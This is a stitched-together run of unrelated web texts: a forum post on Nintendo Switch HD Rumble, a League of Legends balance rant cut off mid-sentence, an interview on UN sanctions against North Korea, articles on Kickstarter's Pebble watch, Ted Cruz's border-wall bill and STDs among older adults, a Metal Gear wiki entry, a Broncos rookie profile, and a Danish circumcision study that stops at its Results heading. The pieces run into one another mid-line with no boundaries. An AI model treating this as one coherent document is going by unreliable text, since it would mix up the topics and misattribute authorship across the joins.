With the initial reveal of motion controls being on the Nintendo Switch, I knew there would be a mixed reaction. When I saw the recently uploaded 1, 2, Switch trailer on YouTube, the video already had more dislikes than any other Switch game reveal trailer. There were many comments saying that motion control gaming is dead and that HD Rumble was just a way to increase the Switch price. The reception it got was expected, and I ignored it for the most part.At first, I was not interested because it felt like a game targeted towards casual audiences and not me. But when I gave the game a second look and understood how the game plays, my interest had increased with how the gameplay involved facing your friends and the Joy-Con to create a distinct experience. As I watched more gameplay videos and read many positive impressions on the HD Rumble feature here in NeoGaf, my interest had increased tenfold.These HD Rumble impressions from Alpha_ex was the post that caught my interest the most:As much I understand the negative reactions towards motion controls, I feel in this current situation that it is different from the Wii U. If the HD Rumble feature is as great as some of these demo testers say, this could be the key to filling the hole people had problems with motion controls.With the Wii, casual gamers were wowed by the working motion controls and soon the Wii became a huge hit for Nintendo. However, others felt the Wii's motion controls were not as accurate as they should be and felt the Wii was too gimmicky. As time moved on in the Wii's life cycle, most people began to think motion controls were not as big of a deal to playing games as they thought. Wii sales began to slide and the later console, the Wii U, began to suffer as a result. It did not help that the utilization for the Wii U's gimmicks was fairly low.I think this new HD Rumble feature will not only help motion controls, but also add a new layer gaming immersion as well. Remember the N64 controller's Rumble Pak expansion? Being able to feel the impact collision sounds made playing games feel more immersive. With the HD rumble, the controller is able to add new depth to rumbling by being able to rumble in certain areas. Having to heavily rely onin a game like 1, 2, Switch is something I never seen and it gets me seriously excited about the potential game ideas for both first party and third-party developers.Imagine swinging your sword at an enemy in Skyrim as you swing your Joy-Con forward and being able to feel the tip of the sword's impact on the top of Joy-Con. Or in Mario Kart 8 Deluxe where your drifts make your kart tilt down as you tilt your Joy-Con and being able to feel the rough feeling of the road on the bottom of the Joy-Con. That added depth and complexity creates the layer needed to make motion controls more immersive. The HD Rumble feature could be a huge phenomenon and could be something that could make motion controls become very popular and make them stay for generations to come.Because of these reasons, I believe that 1, 2, Switch will be one of the first surprising social phenomenons for casual gamers when the Switch launches worldwide. I can see this game becoming very popular at parties or at hangouts. It might even become a very popular game to profit for big YouTubers like Markiplier and Pewdiepie, seeing as to how profitable and silly it would look to see someone like jacksepticeye pull out milk from a cow or eat food at a fast pace by moving your mouth.When there is a Nintendo Switch coming near your local store or event, give the Switch games that heavily rely on motion controls and the HD Rumble a look. I really feel the potential for the HD Rumble feature is there and I think people should reconsider and try those kinds of games out for themselves before judging and jumping to conclusions. We could be missing out on something big if we dismiss features like the HD Rumble easily. As someone once said before, you need to see it to believe.That is all I wanted to express today. I really felt the need to share my thoughts, so I would love to hear your opinion on the matter.This is not to directly insult ranged dps players. This thread is to address the game's health as a whole and how focusing the central of balance on ranged dps champs has completely stagnated the game at high levels of play, and how Riot's balancing patterns have led to this stagnation.
Because of your nonstop complaining about how useless your favorite class was, you resulted in the nerfs of everything that remotely counters you. Let's look over the past shall we?
Burst casters killing ad carries to fast? Nerf burst casters and nerf deathcap
Urgot dominates ad carry lanes? Nerfed to the ground
Malphite dominates ad carry in teamfights? Immediately nerfed
Nasus wither hurts ad carries too much? Wither nerfed immediately once nasus sees tournament play
Assassins bursting ad carries too fast? Nerf all assassins
People too tanky for you to kill? Warmogs nerfed, Randuins nerfed, Bork reworked to favor ad carries
Melee bruisers too threatening to ad carries? Nerf all bruiser itemization like atma's, warmogs, witt's end, trinity force, etc.
AD carries too safe in lane? Nerf every support (except thresh, the dude is like immune to nerfs somehow)
Every other champion role has been nerfed as a result of their impact on ad carries
As a result, currently in competitive play, ranged carry and support lanes are unstoppable. They have no counters in the laning phase and outscale every other lane lategame. No seriously, all of you trying to defend this strategy, can YOU come up with a legitimate counter to ad + support lanes in competitive play? I mean the pros haven't been able to and it's been 2 years!
Seriously, you guys need to realize you play the most dominant and mandatory class of champions in competitive play, who have destroyed competitions since Season 1, nearly two years now. Simultaneously, you expect everything that counters you to be destroyed?
And now, because of the nonstop nerfs to everything that remotely beats ad carries, some champions aren't even being desired in competitive play. Any melee champion now with no ranged farming tools, no innate sustain, resource limitations, or a shield is not even going to be picked, just because of the threat of 2v1 lane swaps making them useless. The worst part is that Riot actually supports this in their game. Anytime you ask Morello about the power and ranged ad + support lanes he says how problematic "bruisers" are. How many bruisers did YOU see in the LCS the past few |
research institutes in the world. We research and provide information about issues involving conflict. Today we are helping the UN panel of experts with outreach about UN sanctions on North Korea. My institute has been doing this around the world. This is our tenth such regional outreach workshop. We did them in Dubai, Istanbul, Singapore, Buenos Aires, Wellington, Johannesburg, Nairobi and today we came to Addis Ababa. Addis Ababa is a political hub because the AU is based here. And we thought could be a good place to come to provide information about UN sanctions in North Korea. What is this workshop all about?
This workshop is about providing information on the obligations of every UN member state to apply and implement the UN Security Council resolutions affecting North Korea. Sanctions prohibit arms trade with North Korea, except in some small areas. And North Korea has been trying to develop arms trade with various countries in Africa. So we thought it is important to raise awareness of the prohibitions on dealing with North Korea in arms trade, in particular selling to and receiving arms from North Korea. So to summarize, our purpose is to provide information about states about the sanctions and to hear their views on how the sanctions are being implemented. Why did you organize this workshop in Ethiopia? Why is North Korea's sanction relevant to Ethiopia?
We organized this event in Ethiopia because Addis Ababa is a regional hub. The AU is based here, and this is one of the most important capitals in Africa. We also had similar workshops in Nairobi and Johannesburg and we had elsewhere in other parts of the world. We are not doing this here because Ethiopia is a particular problem; it is just because Ethiopia is an important country. Ethiopia has relations with North Korea: it is entirely appropriate. But sometimes there are some questions about what North Korea is doing. And they often employ front companies, companies with aliases and with different names and so forth so we just want to encourage states in this region to apply these sanctions required by the UN. You asked if it is important to Ethiopia. I am sure it is not one of the most important issues for Ethiopia. But Ethiopia is a country that is abiding by international norms. It is a responsible country adhering to UN requirements. Not everybody knows about these requirements. So we are trying to inform. Several countries including Ethiopia, Uganda and Nigeria have participated in this workshop. They were all grateful that we provide this information.
There was a time when the Ethiopian government was buying arms from North Korea. Do you have that concern now?
I personally do not have a concern that Ethiopia is buying arms from North Korea. I have not seen such information. But there is some information that indicates that some North Korean arms are being trafficked in this area. Whether they directly come from North Korea or whether they are coming from some other state is very hard to tell. Maybe they are coming from Syria or some other country.
When you say this area, do you mean East Africa?
Yes East Africa. I do not know exactly if it is in Ethiopia but North Korea made arms are trafficked in East Africa.
Does your organization monitor early nuclear enrichment programs in different countries or is your work related only to UN?
My institute does a lot of work on nuclear programs as a research organization. We are not pointing fingers at anyone. I am personally looking at enrichment programs in countries such as Iran and North Korea and whether they are trying to acquire nuclear materials from Africa. Sometimes we hear stories and we investigate.
We often hear that there are two categories of nuclear programs - peaceful and nuclear used for weapons. So what is the grey line here? How do you differentiate between these two programs? What are the principles? All nuclear technology can be used either for peaceful or for weapon purposes and it is hard to differentiate. I think the best way is to just adhere to the UN Security Council resolutions, which in the case of North Korea prohibits all nuclear cooperation. When looking at North Korea's case, everything is a weapons program. They even admit it themselves. So I do not think there are questions about that. In other countries there could be some questions. Iran has a peaceful nuclear program. And there is nothing wrong with Iran's nuclear program. But they are also trying to build up weapon capability. I do not think they are building weapons but they are building capability. And the UN has applied sanctions against Iran to prohibit this.
Are you aware that some African countries like Egypt and Kenya have started working on peaceful nuclear programs? I am not aware of any African countries other than South Africa which has been embarking on nuclear enrichment programs. South Africa used to have nuclear bombs. They still have very sophisticated technology. I do not think there is any accusation about any African country except Libya in the past. And regarding Egypt, there were some questions raised.
Two years ago there was wide news coverage about Egypt's effort to develop nuclear energy.
Yes that is right. Two years ago there were ongoing efforts by the Egyptian government to develop nuclear power. But they cooperated with the International Atomic Energy Agency and they disclosed what they were doing and all questions were addressed. So today there are no lingering questions about Egypt. So you do not have any information about Kenya.
I do not have any such information about Kenya. I would be surprised if Kenya has such a program. But sometimes there are stories about some African countries providing uranium to North Korea and Iran. And most of these stories are untrue. But some of them may need further investigation. After the incident in Japan, there is a wide public concern about the safety of nuclear energy. And if African countries like Egypt start enriching nuclear energy even if it is for a peaceful program, there is a concern among the public. What do you say on that?
First of all let me say that enrichment is a sensitive technology but it is not necessarily for nuclear power. It is for producing fuel or weapons. So let us forget about enrichment. So you are just asking about nuclear power and, in the case of Egypt, it is developing nuclear power. Questions often come up with safety. Even Japan, with all of its high sophisticated technology, could experience such a disaster and I think every country that thinks about nuclear energy has to think about nuclear safety. I am not campaigning against nuclear energy but I think it is very important to apply the strictest standards and not to go on with nuclear programs without safety considerations. I am not sure if you are aware of this but the Ethiopian parliament endorsed an energy policy that comprises a clause that underlines possibility of exploiting nuclear power in the future when the need arises. Is it a viable solution for a developing country like Ethiopia?
I am not in a position to say what Ethiopia should pursue to meet its energy demand. Nuclear energy can be one means to meet the demand for energy. I personally think that nuclear energy is not the best energy source because it comes with so many problems including waste disposal. When you produce nuclear energy you end up with nuclear waste which lasts for hundreds of thousands of years. Where will you put it? No country wants to receive this waste. And there is no good solution to dispose of this waste. So if you take that into account you might conclude that nuclear energy is not the best way forward.
Let me ask you about Eritrea. The UN has imposed an arms embargo on Eritrea because of the government's involvement in some terrorist activities in Somalia, Ethiopia and in the Horn of Africa in general. But the Eritrean government is still receiving arms from different countries. What is your opinion on that?
I am not at all an expert on Eritrea but in our discussion today on this workshop on North Korea and Iran the issue was raised. What about other UN resolutions? What about Eritrea and Somalia and the violations in this case. So I learned a lot about this today. It was an eye-opener for me. And someone suggested that my organization may conduct investigation and organize a workshop on this. I think it is worth doing that but right now I do not have any money to do this. You cannot do this kind of work without money. But it was important to learn Ethiopia's perspective on this issue. Did you meet senior Ethiopian government officials? The Ethiopian government was very supportive of us and welcomed us here and participated in the workshop at a senior level. They gave us some good suggestions. I think the cooperation with the Ethiopian government is very good. It was very appreciated.
Do you have any final word?
I am personally so happy to come to Addis Ababa. Ethiopia is a country which is the cradle of humankind and I always wanted to come here. I wanted to come here because the country has a very interesting history. It has a long, fascinating history. It has its own alphabet. It is a country that was not colonized for so many years and had so many problems including chemical weapon attacks during the war with Italy. So for somebody who is investigating weapons of mass destruction and chemical weapon coming to a country that experienced such problems is very important. So I am very grateful for being accorded the opportunity to come to Ethiopia.Left to right: Chris Lalansingh, Andrew Witte, Eric Migicovksy, Rahul Bhagat, and Adam Thagard Pebble The original promise of crowdfunding platform Kickstarter was that it could provide a new, more democratized way for people to raise money.
It has delivered on that promise. It's on track to generate $300 million for fundraisers this year.
But a new, equally revolutionary use of the platform is emerging.
Kickstarter is becoming a way to assess demand in real time and it could solve an expensive problem for retailers: inventory.
Before, companies would spend a lot of money and resources building products, not knowing if they'd sell. On Kickstarter, a startup can gauge interest with no upfront cost.
Take Pebble for example. A few weeks ago, five guys in Palo Alto introduced an idea for a smart watch on Kickstarter. They set out to raise $100,000 but the concept went viral. More than 66,500 people poured $10.2 million into Pebble.
Often when people pledge money on Kickstarter, they don't get anything tangible in return. They're simply buying into an experience. For Pebble, every payment pledge was a pre-order.
All 66,500 people who contributed to the $10 million financing will be receiving at least one Pebble watch. And 31 people pledged $10,000 or more to pre-order the watches in bulk.
Pebble is significant for a few reasons.
Kickstarter is no longer just about funding someone's dream. The founders were able to raise far more than the bare minimum needed to launch the product. This is fundamentally different than what Kickstarter has stood for in the past.
Kickstarter is now a way to assess real-time demand. Pebble used pledges on Kickstarter as pre-orders and it was able to test its product without making an expensive gamble.
Kickstarter users expressed demand by opening their wallets 66,501 times in under 30 days.
Kickstarter could solve a very expensive problem for retailers: inventory. With Pebble, 66,501 people pledged to buy a product that doesn't exist from just a prototype (like true investors).
With Pebble, people proved they don't need to hold a product to pull the trigger and make purchases. They also proved they're willing to wait for products they really want.
We're moving towards pre-order only shopping, where products are only created if there's demand.
Another startup, Moda Operandi, is already doing this for fashion. It posts clothing from runway shows and lets people pre-order the items. The designers only make the clothing that's pre-ordered, and shoppers buy the items knowing the item will take time to make, and it won't be delivered quickly.Cruz To Introduce Bill That Would Make Mexicans Pay For The Wall
Alex Pfeiffer
Reporter
Republican Sen. Ted Cruz wants to make Mexicans pay for the wall — at least some of them, that is.
The El Chapo Act was introduced by Cruz Tuesday, according to Axios, and it would use seized assets from drug lords such as Mexican Joaquin “El Chapo” Guzman to pay for the wall on the southwestern border.
Federal prosecutors are trying to seize $14 billion in assets from El Chapo, and the border wall has been estimated to cost $21.6 billion. “Fourteen billion dollars will go a long way toward building a wall that will keep Americans safe and hinder the illegal flow of drugs, weapons, and individuals across our southern border,” Sen. Cruz told Axios.
The White House has yet to receive sufficient funding to build a wall on the southern border, and Trump maintains that Congress will eventually appropriate the money and get paid back from Mexico. “Eventually, but at a later date so we can get started early, Mexico will be paying, in some form, for the badly needed border wall,” Trump tweeted Sunday.
Read more: http://dailycaller.com/2017/04/25/cruz-to-introduce-bill-that-would-make-mexicans-pay-for-the-wall/#ixzz4fMwIlpoS
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
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commentsOlder adults are reportedly having a whole lot of sex — but they're also plagued by skyrocketing rates of syphyilis and chlamydia
The good news: Adults between the ages of 50 and 90 are having more sex than ever before, according to a new British study. The bad news? There has been a corresponding rise in HIV, syphilis, chlamydia, and other STDs among these older adults. Here's what you should know about the "dramatic" uptick:
How much more sex are older people having?
Adults 50 and older are having more sex than ever before, according to the Student British Medical Journal. In the U.K., a whopping 80 percent of people in this age range report being sexually active.
SEE MORE: Sharing passwords: A dangerous new teen trend?
What changed?
A couple of things. "Drugs that correct erectile dysfunction in aging men have made sex a reality for many more adults," says Caitlin Bronson at Third Age. Online dating also plays a role. Adults 50 and over are the "fastest-growing" demographic for online dating, notes Britain's Daily Mail, allowing older divorcées or those who have lost their spouses to connect with other singles.
And the STD rates for older adults have gone up?
Indeed. Twenty percent of the United Kingdom's HIV cases are in patients age 50 and up, up from 11 percent in 2001. There's been a similar uptick in STDs in the U.S. According to the CDC, roughly 2,550 cases of syphilis among adults ages 45 to 65 were reported in 2010, up from 900 a decade earlier. And cases of chlamydia among that group of Americans jumped to 19,600 in 2010, compared to 6,700 in 2000.
SEE MORE: Are married people 'nearly a minority'?
Why is this?
Unsafe sex. Some older women who can no longer get pregnant may believe contraceptives are unnecessary, notes the Daily Mail, and older men feel may feel that using a condom contributes to erectile disfunction. "You never have to retire from sex," clinical psychologist Judy Kuransky tells CNN. "But you should always behave as the 20- to 30-year-olds do. You need to be cautious."
Sources: CNN, Daily Mail, Third Age, Web MD
SEE MORE: New York's new safe-sex campaign: 'Too raw'?
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Like on Facebook - Follow on Twitter - Sign-up for Daily NewsletterSneaking Suits were special military wear created with electronic weaving technology using optical fibers. By clinging tightly to the wearer's body, the protective suit could boost resilience and strength, acting as armor and extra muscle tissue to perform such effects. It was designed to mirror the anatomy of a motor system and muscle tissue to enhance the users strength and overall performance, even when the user was greatly weakened. Recent models also came with a variety of sensors, shield the body from toxins, and interface with nanomachines, among many other features. Sneaking Suits were worn by Solid Snake and other FOXHOUND members during stealth missions.
Contents show]
History
The earliest known Sneaking Suits were developed by the Soviet Union in the early 1960s. A white prototype was worn by The Boss during Operation Snake Eater, after she had defected to the Soviet Union, resembling an astronaut suit. It also contained a gray knee brace on the right knee. A second prototype, in black, was uncovered by FOX operative Naked Snake in the weapons lab of Groznyj Grad, Tselinoyarsk. The suit was made of a special bulletproof fiber and provided effective heat and moisture insulation, reducing both injury and stamina loss for the wearer. Its camouflage also functioned well within a variety of different environments. The shoulder patch for the black suit also bore the letters "C.C.C.P.", which were the Russian Cyrillics for the term "U.S.S.R.", another name for the Soviet Union. He later used it during his fight with The Boss.[1]
Main article: San Hieronymo Incident
Warning: The following information is from outside Hideo Kojima's core "Metal Gear Saga." It has some level of canonicity within the continuity, but reader discretion is advised.[?]
The Sneaking Suit was later reverse engineered in America, after it was brought back from Tselinoyarsk by Naked Snake. Created from aromatic polyamide, the suit became the standard issue uniform of Unit FOX, known as the Close Quarters Combat Enhancer Suit. Along with its protective features it was also designed to improve the wearer's performance in hand-to-hand combat. During the San Hieronymo Incident, FOX members Gene, Cunningham, Python and Null wore these suits, with Snake managing to procure one for himself. In addition, the Close Quarters Combat Enhancer Suit came in different colors, emphasized with the right shoulder blade. Snake's sneaking suit color was black.
Non-"Metal Gear Saga" information ends here.
Main article: Peace Walker Incident
In 1974, members of Big Boss's mercenary dispatch company, the Militaires Sans Frontières, utilized a type of Sneaking Suit called SV that was similar to those used by FOX. It provided enhanced camouflage and sound reducing properties, the suit's fabric also exerted pressure on the wearer's body to help stop bleeding from any injuries.
Main article: Ground Zeroes Incident
In 1975, Big Boss continued to use the Sneaking Suit he wore during the Peace Walker Incident during his infiltration of Camp Omega. The suit aided him in his mission to rescue Chico and retrieve and interrogate Paz about her knowledge on Cipher. During this time, it was further upgraded to possess sound-dampening soles to reduce the sound of footsteps, and was designed to be heat, water, and shock-resistant while simultaneously maintaining optimum body temperature.
In 1984, the Sneaking Suit was still under development around the time Venom Snake went to Afghanistan, eventually being completed shortly after Snake arrived there. The Sneaking Suit during this time was made of high-strength aramid fibers and has sound absorbing boots. The suit appeared almost identical to Solid Snake's Sneaking Suit during the Shadow Moses Incident twenty-one years in the future, although slightly bulkier in design. A variant of the standard Sneaking Suit, called the Battle Dress, would also be developed that was both inserted and fitted with various ceramic plates to act as heavy combat gear, greatly increasing protection for the wearer.
Aside from the type worn by the human members of Diamond Dogs, a variant was developed for use by the Diamond Dogs' official mascot, DD. DD's Sneaking Suit had two variants, depending on the intended attack function DD was to undergo for the mission. One included a knife, while the other contained a Stun baton. These equipments were for when DD was dispatched to attack an enemy, either lethally (knife), or nonlethally (stun baton), with DD jumping on the enemy and placing the intended weapon at him, either slitting his throat or otherwise shocking him into unconsciousness.
Main article: Shadow Moses Incident
In 2005, Solid Snake wore a Sneaking Suit during his infiltration of Shadow Moses Island. This suit was specifically designed to withstand harsh winter environments and prevent hypothermia, representing the latest advances in poly-thermal technology. The suit incorporated material similar to that used by NBC troops, providing limited protection from chemical weapons.
Snake's Sneaking Suit from the Shadow Moses Incident would go on to serve as his uniform during his later exploits with the anti-Metal Gear NGO Philanthropy. Foregoing its original thermal vest and elbow/knee pads, the suit saw Solid Snake through on the tanker USS Discovery, the Big Shell, and Arsenal Gear.
The Sneaking Suit worn by Raiden during the Big Shell Incident was known as the Skull Suit, as mentioned above, due to its appearance. The suit was made of a rubber-like material, but could protect against a wide range of toxic substances. The design consisted of water-repelling scales that allowed the wearer to swim easily, and had a pebbled texture to reduce drag (much like a golf ball). Electrofiber technology provided the suit with a wide range of built-in sensors. Referred to as "Smart Skin" in military R&D, data regarding damage to different regions of the body, including blood loss, could be exchanged between the suit and the user's intravenous nanomachines to create a feedback system. While it wasn't bullet-proof, it did provide some ballistic protection to the wearer's body. The suit could also apply varying pressure to major internal organs to maximize performance and safeguard their functions. Similar technology was also used in the Arsenal Tengus' combat suits, Metal Gear RAY's engine system, and Solidus Snake's power suit.
The Sneaking Suit worn by Old Snake in 2014 was equipped with a state-of-the-art camouflage system called OctoCamo. It also doubled as a "muscle suit," enhancing the user's strength (Old Snake's reduced body strength due to his accelerated aging made this especially useful). Otacon jokingly referred to the suit as a "crutch", much to Snake's chagrin. This suit was equipped with similar insulating properties to his previous suit, allowing him to survive the harsh climate of Shadow Moses Island during his return there. The suit was eventually destroyed by the microwave emitters installed aboard Liquid Ocelot's personal flagship, Outer Haven.
Sneaking Suit technology was also worn by members of Rat Patrol Team 01, around the upper body.[2]
Behind the scenes
The Sneaking Suit first appears in Metal Gear Solid, with variations of the uniform appearing in almost every successive game in the Metal Gear series. In both the Integral version of the game and The Twin Snakes, Meryl Silverburgh can end up wearing a Sneaking Suit as a bonus outfit.
Solid Snake's original suit from Metal Gear Solid returns in Metal Gear Solid 2: Substance, during Snake Tales C, and as an unlockable for the VR and Alternative Missions. The suit's likeness is also featured in the spin-off games Metal Gear: Ghost Babel and Metal Gear Acid. In Acid, the suit is fitted with a data storage terminal known as "CHAIN," which includes the advanced capability of providing remote medicine.
"The latest battle uniform developed by the Soviet Union. Cuts all damage in half and reduces stamina consumption." ―Sneaking Suit description in Metal Gear Solid 3: Snake Eater
In Super Smash Bros. Brawl, Solid Snake wears the same suit he wore in Metal Gear Solid 2: Sons of Liberty.
Raiden's Skull Suit was initially designed with matching night vision goggles that, when paired with the suit's breathing apparatus, were meant to evoke the classic depiction of a ninja wearing a hitai-ate and clenching a scroll in his mouth. In addition, the Skull Suit itself was decided upon due to initial difficulty on how to design Raiden's sneaking suit, before eventually settling with a "bonelike" design. The Skull Suit was also featured in Boktai 2, which had the properties to help sneak by enemies better. The Sneaking Suit also appears as a DLC costume for Raiden in PlayStation All-Stars Battle Royale, although slightly modified to appear cybernetic at times, due to it being applied to Raiden as he appeared in Metal Gear Rising: Revengeance, who was a cyborg ninja at that time.
Colonel Volgin's orange rubber suit in Metal Gear Solid 3: Snake Eater bore some resemblance to a Sneaking Suit, particularly in the leg design, although it is suggested to be used to ground him while he uses electricity.
The Sneaking Suit is unlocked in Metal Gear Solid: Peace Walker, after neutralizing the Hind A at Catarata de la Muerte, Costa Rica. This incarnation of the suit was later made into an action figure by the Square Enix toy-making subsidiary Play Arts Kai. Big Boss wore the uniform in the figurine. It also came with a code to unlock a soldier if inputted.
The same Sneaking Suit that Big Boss wore during Peace Walker returns in Metal Gear Solid V: Ground Zeroes as the only available camouflage. This version is also available in Metal Gear Solid V: The Phantom Pain if the player downloads their completed Ground Zeroes save file after uploading it to Konami's servers.
The Sneaking Suit featured in The Phantom Pain bears a strong resemblance to the one that Solid Snake wore during the Shadow Moses Incident. The various sneaking suits have an additional bonus in FOB mode where they prevent the invading player's body heat from being detected by NVG-equipped enemies. Prior to release, the Sneaking Suit was supposed to have an embroidered MSF patch on the right shoulder. The final version had since replaced the patch with the player-created emblem for their Mother Base.
Gallery
Notes and references
^ While it is optional to wear the Sneaking Suit during the final battle with The Boss in Metal Gear Solid 3, the flashbacks in Peace Walker depict Naked Snake wearing it. ^ Metal Gear Solid 4: Guns of Patriots, Kojima Productions (2008).
The shoulder pad labeling on the suits of Rat Patrol Team 01 indicate the technology's origin.When Denver took Boston College Safety Justin Simmons in the 3rd round of the NFL Draft this year, many predicted he would become the future of the No Fly Zone, learning from incumbent Super Bowl Champs T.J. Ward and Darian Stewart. There’s another rookie however, that might be turning some heads come August. Will Parks, another Safety taken 219th from Arizona, could be a huge steal for GM John Elway and co.
Coming from humble beginnings in North Philly, Parks knew football might be his only ticket to success.
“When my dad put that football in my hand, it was just like, ‘This is your tool. This is your way out. This is a way to make a better life for yourself’,” said Parks.
Of course, there are many players in the league with a similar story, but it seems Parks’ college career could be a harbinger of success in the NFL. The past two seasons, Parks has finished top 4 in tackles for the Wildcats, leading the team with 76 tackles in 2015. Additionally, his versatility could prove to be a huge asset in Denver. Pro Football Focus named him as their highest rated cornerback in 2014, and he saw the majority of his time last year as a Safety/Linebacker hybrid.
Perhaps the most intriguing part of Parks becoming a Bronco, which plays heavily in his favor, is the team’s knack for developing late-round and even un-drafted talent. 5 key pieces of the Broncos Super Bowl winning team, including 4 on the defensive side, all went in the 5th round or later in their respective drafts. Starting LBs Brandon Marshall and Danny Trevathan, DT Malik Jackson, CB Chris Harris Jr and RB C.J. Anderson were crucial in Denver’s championship run, and benefited from having a chip on their shoulder as late round or un-drafted rookies.
Fortunately for Parks, he now has the chance to learn from some of these players, and turn his hunger and motivation into success. Indeed, he certainly isn’t lacking in any form of motivation, stating “I don’t want it. I need it…This is the only thing I have in life for me. I’d probably be at home flipping McDonald’s burgers if I didn’t have this opportunity right now.” If Parks is to succeed in this league, it seems like he’s found a perfect situation in Denver.Abstract
Background One-third of the world’s men are circumcised, but little is known about possible sexual consequences of male circumcision. In Denmark (~5% circumcised), we examined associations of male circumcision with a range of sexual measures in both sexes. Methods Participants in a national health survey (n = 5552) provided information about their own (men) or their spouse’s (women) circumcision status and details about their sex lives. Logistic regression-derived odds ratios (ORs) measured associations of circumcision status with sexual experiences and current difficulties with sexual desire, sexual needs fulfilment and sexual functioning. Results Age at first intercourse, perceived importance of a good sex life and current sexual activity differed little between circumcised and uncircumcised men or between women with circumcised and uncircumcised spouses. However, circumcised men reported more partners and were more likely to report frequent orgasm difficulties after adjustment for potential confounding factors [11 vs 4%, OR adj = 3.26; 95% confidence interval (CI) 1.42–7.47], and women with circumcised spouses more often reported incomplete sexual needs fulfilment (38 vs 28%, OR adj = 2.09; 95% CI 1.05–4.16) and frequent sexual function difficulties overall (31 vs 22%, OR adj = 3.26; 95% CI 1.15–9.27), notably orgasm difficulties (19 vs 14%, OR adj = 2.66; 95% CI 1.07–6.66) and dyspareunia (12 vs 3%, OR adj = 8.45; 95% CI 3.01–23.74). Findings were stable in several robustness analyses, including one restricted to non-Jews and non-Moslems. Conclusions Circumcision was associated with frequent orgasm difficulties in Danish men and with a range of frequent sexual difficulties in women, notably orgasm difficulties, dyspareunia and a sense of incomplete sexual needs fulfilment. Thorough examination of these matters in areas where male circumcision is more common is warranted.
Introduction
For >60 years it has been known from unselected population-based studies that the tight foreskin of newborn boys, a natural state sometimes referred to as physiological phimosis, regresses spontaneously during childhood and puberty,1 leaving a freely mobile foreskin by age 17 years in 99% of boys.2 Yet, prevention of the rare cases of pathological phimosis remains a leading argument for proponents of routine circumcision. Other claimed benefits of circumcision, such as reduced risks of balanoposthitis, sexually transmitted infections and penile cancer, can be achieved without tissue loss through the maintenance of good penile hygiene combined with proper use of condoms, and whether circumcision reduces the risk of urinary tract infections in infancy has been questioned.3,4 Despite the fact that no professional medical organization recommends routine circumcision, not even in the USA where most newborn boys undergo the operation,5 it remains a widespread belief that circumcision provides superior penile hygiene and protects against urinary tract infections, phimosis, paraphimosis, balanoposthitis, venereal diseases and cancer.6,7
Considering the organ involved with its sensitive anatomical structures,8 surprisingly few population-based studies have been carried out to evaluate circumcision’s possible sexual consequences.9–11 A number of methodologically questionable reports have led to claims of impaired, improved or unaltered sexual function in circumcised men and their female partners. We wanted to explore these issues further, using data from a national health survey in Denmark, a country with a low prevalence of male circumcision.12 In light of the conflicting literature, we deliberately did not set up a series of specific a priori hypotheses for the study.
Materials and Methods
The Health and Morbidity Study is a series of interview surveys that has addressed matters of public health in Denmark since 1987.13 The surveys are based on nationally representative samples of Danish citizens aged ≥16 years drawn randomly by their unique personal identification number in the continuously updated Danish Civil Registration System.14 Each identified person received an information letter with an invitation to participate. Upon written informed consent, participants underwent a structured personal interview in their home conducted by a professional interviewer. A total of 10 916 persons were invited to take part in that arm of the 2005 survey, which included questions about sexual health.
The interview covered matters related to health and morbidity, family situation, lifestyle and sociodemographic, cultural and religious background. After the interview, participants were asked to complete a self-administered questionnaire covering more sensitive issues, including questions about circumcision status or, for women, circumcision status of the spouse or steady male partner (referred to hereafter as the spouse), general sexual experiences (age at first sexual intercourse, number of sex partners since age 15 years, perceived importance of having a good sex life, and frequency of sexual activity with a partner in the last year), and experiences in the last year of low or lacking sexual desire, of incomplete fulfilment of sexual needs, or of difficulties in relation to sexual functioning with a partner [men: erectile difficulties, delayed orgasm or complete anorgasmia (hereafter referred to as orgasm difficulties), premature ejaculation or dyspareunia; women: lubrication insufficiency, orgasm difficulties, dyspareunia or vaginismus]. The degree to which a given sexual difficulty was present was rated on a five-point Likert scale (‘not at all’, ‘rarely’, ‘sometimes’, ‘often’ or ‘every time’), as described in detail elsewhere.15–17
Statistical analysis
We used chi-squared tests to evaluate possible differences in background variables between participants and non-participants and differences in background variables and general sexual experiences between circumcised men and men with an intact foreskin (referred to hereafter as uncircumcised), and between women with circumcised and uncircumcised spouses.
Subsequently, by means of logistic regression analyses we calculated two sets of odds ratios (ORs) with accompanying 95% confidence intervals (CIs) for associations between the exposure variable, circumcision and the sexual outcome variables, low or lacking sexual desire, incomplete sexual needs fulfilment and sexual function difficulties, with the latter categorized as either dichotomous outcomes (‘not at all’ vs any frequency of sexual difficulties) or polytomous outcomes [‘not at all’ vs ‘rarely’ or ‘sometimes’ (i.e. occasional difficulties) vs ‘often’ or ‘every time’ (i.e. frequent difficulties)]. Dichotomized outcomes were used when <10% of circumcised men or <10% of women with circumcised spouses reported frequent difficulties for the sexual difficulty in question. One set of ORs was calculated with adjustment only for age (16–29, 30–44, 45–59, ≥60 years), and the other (referred to hereafter as OR adj ), included adjustment for age and a number of other potentially confounding differences between circumcised and uncircumcised participants. Specifically, OR adj were adjusted for age (16–29, 30–44, 45–59, ≥60 years), cultural background (Danish vs other; persons with at least one Danish-born parent were considered Danish), membership of religious community (yes vs no), three sociodemographic variables that were recently reported to be associated with sexual dysfunction in Denmark,15 i.e. marital status (married vs not married), school attendance (≤9, 10–11, ≥12 years) and household income in year 2004 (<400 000 vs ≥400 000 Danish Kroner; 100 000 Danish Kroner ~11 500 UK£ ~13 400 Euros ~18 400 US$), and age at first sexual intercourse (<17 vs ≥17 years), number of sex partners since age 15 years (<4 vs ≥4), and frequency of sexual activity with a partner in the last year (≥weekly vs <weekly).
In 16 supplementary analyses, we examined the robustness of our main findings. First, we restricted the study population to participants whose cultural background was Danish, participants who were not Jews or Moslems, or participants aged 20–69 years (robustness analyses 1–3) to obtain less heterogeneous study populations. Secondly, we evaluated the impact of making various assumptions about men and women who provided no information about their circumcision status or that of their spouse (robustness analyses 4–7). Thirdly, we evaluated the stability of our multivariate statistical model by adding or removing possible health-related, socioeconomic or behavioural confounders in the logistic regression analysis (robustness analyses 8–16).
All ORs express the odds among circumcised men (or women reporting a circumcised spouse) vs the odds among the reference category of uncircumcised men (or women reporting an uncircumcised spouse). ORs were calculated using the LOGISTIC procedure in SAS version 9.1.18
The study was approved by the Danish Data Inspection Board (approval nos 2001-54-0894, 2007-41-0022 and 2008-54-0472).
Results
